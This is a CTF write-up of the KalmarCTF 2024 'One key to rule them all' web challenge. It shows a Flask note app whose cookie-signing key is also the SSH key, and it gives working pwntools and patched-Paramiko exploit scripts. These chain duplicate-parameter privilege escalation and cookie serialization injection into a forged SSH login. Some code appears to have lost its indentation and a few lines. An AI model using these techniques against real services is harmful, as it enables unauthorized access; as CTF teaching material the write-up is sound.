KalmarCTF 2024 – One key to rule them all

Categorie: Web
Points: 484
Solves: 11
Encryption is easy, but key management is hard – I got the solution! Just use one key everywhere, i.e. nothing to manage (just don’t lose it)
Attachments: official Github repo (not available yet)

Archive:  handout-onekey.zip
Length Date Time Name
--------- ---------- ----- ----
0 03-15-2024 19:44 handout-onekey/
1102 03-06-2024 23:04 handout-onekey/Dockerfile
6631 03-06-2024 23:04 handout-onekey/app.py
399 03-06-2024 23:04 handout-onekey/readflag.c
440 03-06-2024 23:04 handout-onekey/supervisord.conf
196 03-15-2024 19:44 handout-onekey/docker-compose.yml
16 03-06-2024 23:04 handout-onekey/flag
--------- -------
8784 7 files


We can spawn a local instance of the challenge using :

docker compose up

I got an error saying services.onekey.build Additional property ulimits is not allowed, so I had to remove the following lines from docker-compose.yml :

soft: 20000
hard: 40000

The web application can now be accessed on http://localhost:5000/.

We are facing a note taking application written in Python using Flask. The only feature is storing a note.

There are only three endpoints, /, /privacy and /notes. The second one is not of any particular interest as it only displays some text on the page indicating that notes are stored locally after being processed server side.

def frontpage():
username = b"guest"
title = content = b""

lst = list(session.items())
if len(lst) == 2:
# Python3 dicts are ordered, so this is fine(TM)
title, content = lst.pop()
username, access_level = lst.pop()

return HTML_HEADER + b'''<form action="/note" method="post">
<!-- Username: --><input name="username" value="''' + username + b'''" hidden />
<!-- Password: --><input name="password" value="" hidden />
Title: <input name="note_title" value="''' + title + b'''" /><br/>
Content:<br/><textarea name="note_content" rows="4" cols="50">''' + content + b'''</textarea><br/>
<input type="submit" value="Save note">
<a href="/privacy" style="float: right;">Privacy Policy</a>

The code above handles requests to the front page, allowing to view the current note and store a new one by sending a form.
We can also see that two hidden inputs are present in the form: username and password.

Although there is no login feature, the code implements a session management with access level controls. By default we are guest. We will come back to this later.

Notes are stored in the session object. Let’s quickly look at the code being executed when sending a new note :

@app.route("/note", methods=['POST'])
def save_note():
flash = lambda html: f"<!DOCTYPE html><html><head><meta http-equiv=\"refresh\" content=\"2;URL='{request.base_url}/../'\"><body>{html}"
data = {kv[0].decode(): kv[1] for kv in map(lambda kv: kv.split(b"="), request.get_data().split(b"&"))}

username = data['username']
password = data['password']
note_title = data['note_title']
note_content = data['note_content']
return flash("<p>Missing required params</p>")

if username == b'admin':
return HTML_HEADER + b"Login functionality not yet implemented", 403

# Clean old stored notes:
for k in list(session.keys()):
del session[k]

# Save new user note:
session[username] = get_access(**request.form)
session[note_title] = note_content

return flash("<p>Note saved<sup>-ish</sup></p>")

The form content is parsed, the session is cleared to remove the previous note (we can only store a single one) and finally the note content is added to the session object with the note title as key.
The access level associated to our username is also stored in the session and a check is made to disallow the admin username.

The function determining the access level is the following:

class ACCESS_LEVEL(Enum):
GUEST = auto()
ADMIN = auto()
SUPER_ADMIN = auto()

def get_access(username=None, password=None, **kwargs):
if username == 'admin' and password == f'{ ... }':

If we manage to bypass the username restriction and supply the right password, we gain admin privileges. But what do we do with them ? Like I mentionned in the beginning, there is no login feature and no other endpoint.

I intentionally did not address the big elephant in the room yet, as this is not your typical web challenge where you gain admin privileges to read the flag from another part of the website. Talking about which, where is even the flag in this challenge ?

The answer can be found inside the dockerfile :

COPY flag /flag
RUN chown root:root /flag && chmod 400 /flag

COPY readflag.c /readflag.c
RUN gcc -fPIE -fstack-protector-all -D_FORTIFY_SOURCE=2 /readflag.c -o /readflag \
&& chown root:root /readflag && chmod 4755 /readflag

The flag is located at /flag on the server and can be read by using the program located at /readflag.

The goal is getting clearer, find an RCE on the web app and execute /readflag.

Well, no… Keep reading :

RUN adduser --disabled-password --gecos "🦎" --shell /readflag kalmar \
&& touch /home/kalmar/.hushlogin \
&& mkdir /home/kalmar/.ssh/

RUN ssh-keygen -t ed25519 -N '' -C 'masterkey' -f /onekeytorulethemall
RUN cp /onekeytorulethemall.pub /home/kalmar/.ssh/authorized_keys
RUN cp /onekeytorulethemall.pub /etc/ssh/ssh_host_ed25519_key.pub
RUN cp /onekeytorulethemall /etc/ssh/ssh_host_ed25519_key

A user kalmar is created, with /readflag as it’s login shell.
We also learn that an SSH service is listening on port 2222. We can see that in supervisord.conf below.


command=/usr/sbin/sshd -D -o "Port=2222" -o "PubkeyAcceptedKeyTypes=ssh-ed25519" -o "AllowTcpForwarding=no" -o "PasswordAuthentication=no" -o "PrintMotd=no"

;command=/usr/local/bin/uwsgi --log-master --http-socket :5000 --master --processes 8 --threads 4 --uid ctf --gid ctf --callable app --wsgi-file /app/app.py
command=python3 /app/app.py

User authentication can only be made using a private key /onekeytorulethemall, which is also the same the SSH server is using to authenticate itself to clients. There we have our first key reuse (hence the name of the challenge).

The goal is clear. We must find a way to login as kalmar. But how are these two services (the web app and the SSH server) related ?

The answer is the key… Literally.

app = Flask(__name__)
app.config['MAX_FORM_MEMORY_SIZE'] = app.config['MAX_CONTENT_LENGTH'] = 1024 * 1024 # Plz dont DoS

KEY = load_ssh_private_key(open("onekeytorulethemall", "rb").read(), password=None)
app.secret_key = KEY.private_bytes_raw()
del KEY

But how is this key used ?

class SignerAlgorithm(HMACAlgorithm):
def get_signature(key: bytes, value: bytes) -> bytes:
return Ed25519PrivateKey.from_private_bytes(key).sign(value)

def verify_signature(key: bytes, value: bytes, sig: bytes) -> bool:
Ed25519PrivateKey.from_private_bytes(key).public_key().verify(sig, value)
return True
except InvalidSignature:
return False

class VerySecureCookieSessionInterface(SecureCookieSessionInterface):
def get_signing_serializer(self, app: "Flask"):
return Serializer(
signer_kwargs=dict(key_derivation='none', algorithm=SignerAlgorithm),

app.session_interface = VerySecureCookieSessionInterface()

It’s used to sign the flask session cookie holding our note.
This is the third and final use for this private key.

The signature algorithm is EdDSA using Curve25519, so no crypto attacks on nonces, as there are none.
There is no cryptographic flaw that would allow us to recover the key either. Let’s move on.

When creating a note with title “TITLE” and content “CONTENT”, we get a cookie looking like this :


The session cookie is serialized using a custom Serialiser class.

The code is split in two parts (serialization/deserialization) for readability.

class Serialiser(Serializer):
def loads(obj: bytes) -> dict:

def dumps(obj: dict) -> bytes:
""" Encode everything as [len(key1)||key1||len(val1)||val1||...||len(keyN)||keyN||valN]. """
items = list(obj.items())

# Lets not `_encode()` last item value (`content`), so you can store more than 0xFFFFFFFF bytes if your browser supports it
has_opt = False
if len(items) > 1:
last_k, last_v = items.pop(-1)
has_opt = True
result = b''.join(map(lambda kv: Serialiser._encode(kv[0]) + Serialiser._encode(kv[1]), items))
if has_opt:
result += Serialiser._encode(last_k)
result += last_v # We save 4 bytes by not having len(last_v)!
return result

def _encode(msg):
if isinstance(msg, Enum):
return bytes([ord(str(msg.value))])
if isinstance(msg, int):
msg = str(msg)
if isinstance(msg, str):
msg = msg.encode()
assert len(msg) < 0xFF_FF_FF_FF
return pack(">I", len(msg)) + msg

def _decode(msg):

The docstring in the dumps function gives a good explanation on how the session object is serialized.

We can decompose the previous cookie as such :

  • \000\000\000\005 : length of the username (5 bytes) in big endian.
  • guest : The username.
  • 1 : The access level (ACCESS_LEVEL.GUEST).
    Notice how unlike for the username, there is no encoded length before the value. This is because it’s an Enum. See the _encode function.
  • \000\000\000\005 : length of the note title (5 bytes) in big endian.
  • TITLE : The note title.
  • CONTENT : The note content.
    Notice how there is also no encoded length before the value even tho it’s a string. This is because it’s the last value. See the comment in the dumps function.
  • . : The flask content separator.
  • 6m7L33K7YYHEGWDlvoC3dQKJ72qn3nMCzB34lvVlGvIWPTFk88BQdumKbvAPhSzG5JXD-DhWxoCZEw5wgLXkAw : The signature value of all the previous data, encoded in base64.

Here is the deserialization logic :

class Serialiser(Serializer):
def loads(obj: bytes) -> dict:
result = {}
while len(obj) > 0:
k, obj = Serialiser._decode(obj)
v, obj = Serialiser._decode(obj)
result[k] = v
except: ...
return result

def dumps(obj: dict) -> bytes:

def _encode(msg):

def _decode(msg):
(msg_len,) = unpack(">I", msg[:4])
if len(msg[4:]) >= msg_len:
return msg[4:msg_len+4], msg[msg_len+4:]
# Prefix is not [len(data), data]. Try decode as enum:
return ACCESS_LEVEL(int(chr(msg[0]))), msg[1:]
# This must be the last block (w/o) length in front. Return all of it:
return msg, b''

This allows to reconstruct the session object from the cookie.

Analyzing the serialization

There is no classical deserialization vulnerability that would allow an RCE. At best, we might be able to control the session object.

An obvious issue in the serialization process is the lack of encoded length on the last field. If an attacker creates a note starting with 4 bytes representing a big-endian encoded integer, smaller than the size of the rest of the note, it will be treated as an independant serialized value. Following this process, we can inject any number of key/value pairs inside the session object.

To do that however, requires sending raw bytes to the server, as URL encoded values will not be decoded because of how the data is parsed:

data = {kv[0].decode(): kv[1] for kv in map(lambda kv: kv.split(b"="), request.get_data().split(b"&"))}

request.get_data() returns the raw request data as you sent it.

This means we can’t use the requests library either, as it encodes our data. Let’s write a small script to send raw HTTP requests:

from pwn import *

context.log_level = "error"

#host = "one-key.chal-kalmarc.tf"
host = "localhost"
conn = remote(host, 5000)

username = b'ENOENT'
password = b""
title = b"TITLE"
content = b'\x00\x00\x00\x01A\x00\x00\x00\x05TITLEOverwritten'
data = b"username="+username+b"&password="+password+b"&note_title="+title+b"&note_content="+content
cl = len(data)
payload = f"POST /note HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nContent-Length: {cl}\n\n".encode()
payload += data + b'\n'*2

session = conn.recvuntil(b'"; HttpOnly', drop=True)

In the above example, I crafted a session object so the “TITLE” key will first have value “A”, but then will be overwritten by value “Overwritten”. Copying the generated cookie in the browser confirms the behavior.


This is of no use, but to demonstrate that we can inject new key/values pairs (or replace existing ones).

Where do we go from here ?

Finding an attack plan

As we have partial control over the content of the session cookie being signed, we have a restricted signing oracle.
An arbitrary signing oracle would have been even better, but it’s not bad. What can we do with this ?

Even if we can generate a lot of signatures, there is no known plaintext attack possible in this case to recover the private key value.

Remember, our goal is to connect through SSH. The SSH server is configured to use the same key to authenticate the client, using the same signature algorithm. What if we can use our oracle to sign the authentication challenge of the SSH protocol ? Is that even possible given the restriction in place here ?

Looking at RFC4252 section 7 this didn’t look possible.

The value of 'signature' is a signature by the corresponding private
key over the following data, in the following order:

string session identifier
string user name
string service name
string "publickey"
boolean TRUE
string public key algorithm name
string public key to be used for authentication

My biggest concern was the session identifier as this is the first part of the payload to be signed and it’s the one we control the least in our oracle model.

RFC4253 section 7.2 gives indication on what the session identifier is.

The key exchange produces two values: a shared secret K, and an
exchange hash H. Encryption and authentication keys are derived from
these. The exchange hash H from the first key exchange is
additionally used as the session identifier, which is a unique
identifier for this connection. It is used by authentication methods
as a part of the data that is signed as a proof of possession of a
private key.

This is a hash value. There is no way we can submit a username whose length, encoded in big-endian corresponds to the first 4 bytes of this hash. So I discarded the Idea.

Without any other idea, I worked on other challenges for a few hours before coming back to this one.

I decided to verify experimentally the format of the data actually being signed when I connect to the SSH server. Just to be sure I’m not missing out on anything.

To do that, I decided to use Paramiko and patch it to print the data before it is signed.

I did this in a docker container to not mess with my local environment.

# generate a dummy key for testing
ssh-keygen -t ed25519 -N '' -C 'masterkey' -f test_key
# remove any previous install if any (otherwise the patched one is not used)
python3 -m pip uninstall paramiko
# clone and install paramiko
git clone https://github.com/paramiko/paramiko.git
cd paramiko/
python3 setup.py install
# try to connect to the server
python3 ../connect.py

Before patching I wanted to simply try to connect to the server using the little script below:

import paramiko

private_key = paramiko.Ed25519Key(filename="../test_key")

ssh_client = paramiko.SSHClient()
ssh_client.connect(hostname="one-key.chal-kalmarc.tf", port=2222, username="kalmar", pkey=private_key)

# should print the flag if we succeeded
chan = ssh_client.invoke_shell()

This script will obviously not work with the dummy key, but that’s what we are trying to achieve for the moment.

This produces :

Traceback (most recent call last):
File "/host/paramiko/../connect.py", line 7, in <module>
ssh_client.connect(hostname="one-key.chal-kalmarc.tf", port=2222, username="kalmar", pkey=private_key)
File "/usr/local/lib/python3.10/dist-packages/paramiko/client.py", line 485, in connect
File "/usr/local/lib/python3.10/dist-packages/paramiko/client.py", line 818, in _auth
raise saved_exception
File "/usr/local/lib/python3.10/dist-packages/paramiko/client.py", line 716, in _auth
self._transport.auth_publickey(username, pkey)
File "/usr/local/lib/python3.10/dist-packages/paramiko/transport.py", line 1674, in auth_publickey
return self.auth_handler.wait_for_response(my_event)
File "/usr/local/lib/python3.10/dist-packages/paramiko/auth_handler.py", line 263, in wait_for_response
raise e
paramiko.ssh_exception.AuthenticationException: Authentication failed.

Authentication failed successfully !

We also have an indication of where in the code the authentication takes place, so we can insert our print statement. After a bit of execution traceback, I decided to put a print here:

def sign_ssh_data(self, data, algorithm=None):
print(f"signing blob: {data.hex()}")
m = Message()
return m

After rerunning setup.py and the script, we finally see the blob:

signing blob: 00000020434860c61fefec496ef2f435e5f3c5a5014c4839847f3518ac292eb7ece19fa732000000066b616c6d61720000000e7373682d636f6e6e656374696f6e000000097075626c69636b6579010000000b7373682d65643235353139000000330000000b7373682d6564323535313900000020e3b33785e4d40e706f720b09bc99a80aaf205f66bcaf33f33141a6dca1f216a2

And suprisingly, it starts with a big-endian encoded value of 32, which is the length of the session identifier. So it seems that the data is serialized in a similar manner to our cookie !

And so, we have a plan:

  1. Dynamically craft a session cookie that corresponds exactly to the SSH signing blob
  2. Forward the cookie’s signature to the SSH server
  3. Authenticate successfully and get the flag

We have to do this dynamically because the session identifier changes every time, but the rest is constant.

Crafting the session cookie

Let’s assume the signing blob gathered earlier is a serialized cookie and look at what each field would be:

  • \x00\x00\x00\x20 : length of the username (32 bytes) in big endian.
  • CH`\xc6\x1f\xef\xecIn\xf2\xf45\xe5\xf3\xc5\xa5\x01LH9\x84\x7f5\x18\xac).\xb7\xec\xe1\x9f\xa7 : The username.
  • 2 : The access level (ACCESS_LEVEL.ADMIN).
  • \x00\x00\x00\x06 : length of the note title (6 bytes) in big endian.
  • kalmar : The note title.
  • \x00\x00\x00\x0essh-connection\x00\x00\x00\tpublickey\x01\x00\x00\x00\x0bssh-ed25519\x00\x00\x003\x00\x00\x00\x0bssh-ed25519\x00\x00\x00 \xe3\xb37\x85\xe4\xd4\x0epor\x0b\t\xbc\x99\xa8\n\xaf _f\xbc\xaf3\xf31A\xa6\xdc\xa1\xf2\x16\xa2 : The note content.

There are two problems here.

First, we don’t control the value of the access level and by default it’s “1” (ACCESS_LEVEL.GUEST). We can trick the app into think we are admin by manipulating the session object, but that’s not possible here, as we must have this exact payload. We must find another way to get admin.

Secondly, the note content contains our dummy public key. We will have to replace this with the real public key.

Getting the right public key

Let’s start by correcting the public key. Recall that the same key is used to authenticate both the SSH client and the server. We can thus query the server for the public key:

ssh-keyscan -p 2222 -t ed25519 one-key.chal-kalmarc.tf | sed "s/^[^ ]* //"
# one-key.chal-kalmarc.tf:2222 SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u2
# ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMry4XAwYwXsTD9sVVIppC7ynkYiHhk7rnQQkBNVsqrV

Decoding this in Python we have :

import base64
b'\x00\x00\x00\x0bssh-ed25519\x00\x00\x00 \xca\xf2\xe1p0c\x05\xecL?lUR)\xa4.\xf2\x9eF"\x1e\x19;\xaet\x10\x90\x13U\xb2\xaa\xd5'

This matches perfectly with the end of the note content we need to send.
As the public key is constant, we can keep this value for later.

Getting admin privileges

Now is the tricky part. We need to get admin privileges without touching the session cookie.

The only way to do so is from the get_access function:

def get_access(username=None, password=None, **kwargs):
if username == 'admin' and password == f'{ ... }':

We somehow need to trick this function into thinking that our username is “admin” and provide “Ellipsis” as a password. But the problem is, our username is supposed to be the 32-byte hash.

Luckily, there is a confusion happening in the save_note function:

@app.route("/note", methods=['POST'])
def save_note():
data = {kv[0].decode(): kv[1] for kv in map(lambda kv: kv.split(b"="), request.get_data().split(b"&"))}

username = data['username']

if username == b'admin':
return HTML_HEADER + b"Login functionality not yet implemented", 403


# Save new user note:
session[username] = get_access(**request.form)

The variable data is constructed from parsing the raw form content by splitting on each “&” and constructing a dictionary from this. Whereas, the get_access function uses the content of request.form as its keyword arguments.

What happens if we send a duplicate parameter like username=admin&username=hash ?

# data
{'username': b'hash'}
# request.form
ImmutableMultiDict([('username', 'admin'), ('username', 'hash')])

Because data["username"] is not “admin”, we will execute the call to get_access, which will take the first element as it’s username, effectively thinking we are “admin”.

This can be confirmed using our previous script:

from pwn import *

context.log_level = "error"

#host = "one-key.chal-kalmarc.tf"
host = "localhost"
conn = remote(host, 5000)

username = b'ENOENT'
password = b"Ellipsis"
title = b"TITLE"
content = b'content'
data = b"username=admin&username="+username+b"&password="+password+b"&note_title="+title+b"&note_content="+content
cl = len(data)
payload = f"POST /note HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nContent-Length: {cl}\n\n".encode()
payload += data + b'\n'*2

session = conn.recvuntil(b'"; HttpOnly', drop=True)
# \000\000\000\006ENOENT2\000\000\000\005TITLEcontent.QJLwo6V9UK5_5Zvdyr73A6I09kCNjoG6oXbEW3hjh4DT_uF787ovgjshgSc8gfcNuKQkDgyaGWO3A3LQAuZEDg

We successfully got the “2” after the username, indicating we have ACCESS_LEVEL.ADMIN. And this was achieved without altering the rest of the session cookie.

Executing the plan

Because we need to do this dynamically and we can’t use pwntools.tubes (can’t use remote) when not in the main thread (which is the case in Paramiko), we can make a script that will take a signing blob as an argument and output the signature on stdout:

from pwn import *
import sys

context.log_level = "error"

host = "one-key.chal-kalmarc.tf"
#host = "localhost"
conn = remote(host, 5000)

# get pubkey from SSH server
# ssh-keyscan -p 2222 -t ed25519 one-key.chal-kalmarc.tf | sed "s/^[^ ]* //"
# one-key.chal-kalmarc.tf:2222 SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u2
# ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMry4XAwYwXsTD9sVVIppC7ynkYiHhk7rnQQkBNVsqrV
pubkey = b'\x00\x00\x00\x0bssh-ed25519\x00\x00\x00 \xca\xf2\xe1p0c\x05\xecL?lUR)\xa4.\xf2\x9eF"\x1e\x19;\xaet\x10\x90\x13U\xb2\xaa\xd5'

target = bytes.fromhex(sys.argv[1])
# skip first 4 as we control it using username length
target = target[4:]

username = target[:32] # must be 32 bytes long for 00000020
# skip 1 more because it's the access right
target = target[33:]
# to be admin
password = b"Ellipsis"
# fixed
title = b"kalmar"
target = target[4+6:]
content = target[:51] + pubkey
# trick the app in giving us ADMIN so we have a '2' after the username
payload = b"username=admin&username="+username+b"&password="+password+b"&note_title="+title+b"&note_content="+content+b"\n\n"
cl = len(payload)
payload = f"POST /note HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nContent-Length: {cl-2}\n\n".encode() + payload

session = conn.recvuntil(b'"; HttpOnly', drop=True)
import base64
sig = base64.urlsafe_b64decode(session.decode().split(".")[-1]+"==")

Now we adapt the sign_ssh_data function of Paramiko to call this script instead for the signature generation:

def sign_ssh_data(self, data, algorithm=None):
print(f"signing blob: {data.hex()}")
m = Message()

import subprocess
sig = subprocess.check_output(["python3", "../craft_cookie.py", data.hex()])
s = bytes.fromhex(sig.strip().decode())
print(f"signature: {s.hex()}")

return m

The final change to make to Paramiko is to hardcode the public key here:

def _get_key_type_and_bits(self, key):
Given any key, return its type/algorithm & bits-to-sign.

Intended for input to or verification of, key signatures.
return "ssh-ed25519", b'\x00\x00\x00\x0bssh-ed25519\x00\x00\x00 \xca\xf2\xe1p0c\x05\xecL?lUR)\xa4.\xf2\x9eF"\x1e\x19;\xaet\x10\x90\x13U\xb2\xaa\xd5'

After rerunning setup.py and the script, we finally get the flag :

python3 ../connect.py
signing blob: 00000020727ba40632117e82a47aedc7d7ccdd059a5ce1af1aa051fa96194ae5aebb704332000000066b616c6d61720000000e7373682d636f6e6e656374696f6e000000097075626c69636b6579010000000b7373682d65643235353139000000330000000b7373682d6564323535313900000020caf2e170306305ec4c3f6c555229a42ef29e46221e193bae7410901355b2aad5
signature: 1ddc5d2cb601e82b9ac6d2a3dc608cc0177911b8bc6d91735f25b38928ee49361ed1c95f8c705b2dff2ce0c26d1767417756d48d629bff34b093431191856d00


This was a very interesting challenge, greatly illustrating how a key reuse could be abused in a realistic scenario.

I really enjoyed working on this challenge and wanted to share a detailed write up about it.

I hope you enjoyed reading it as well. 🙂

Leave a Reply

Your email address will not be published. Required fields are marked *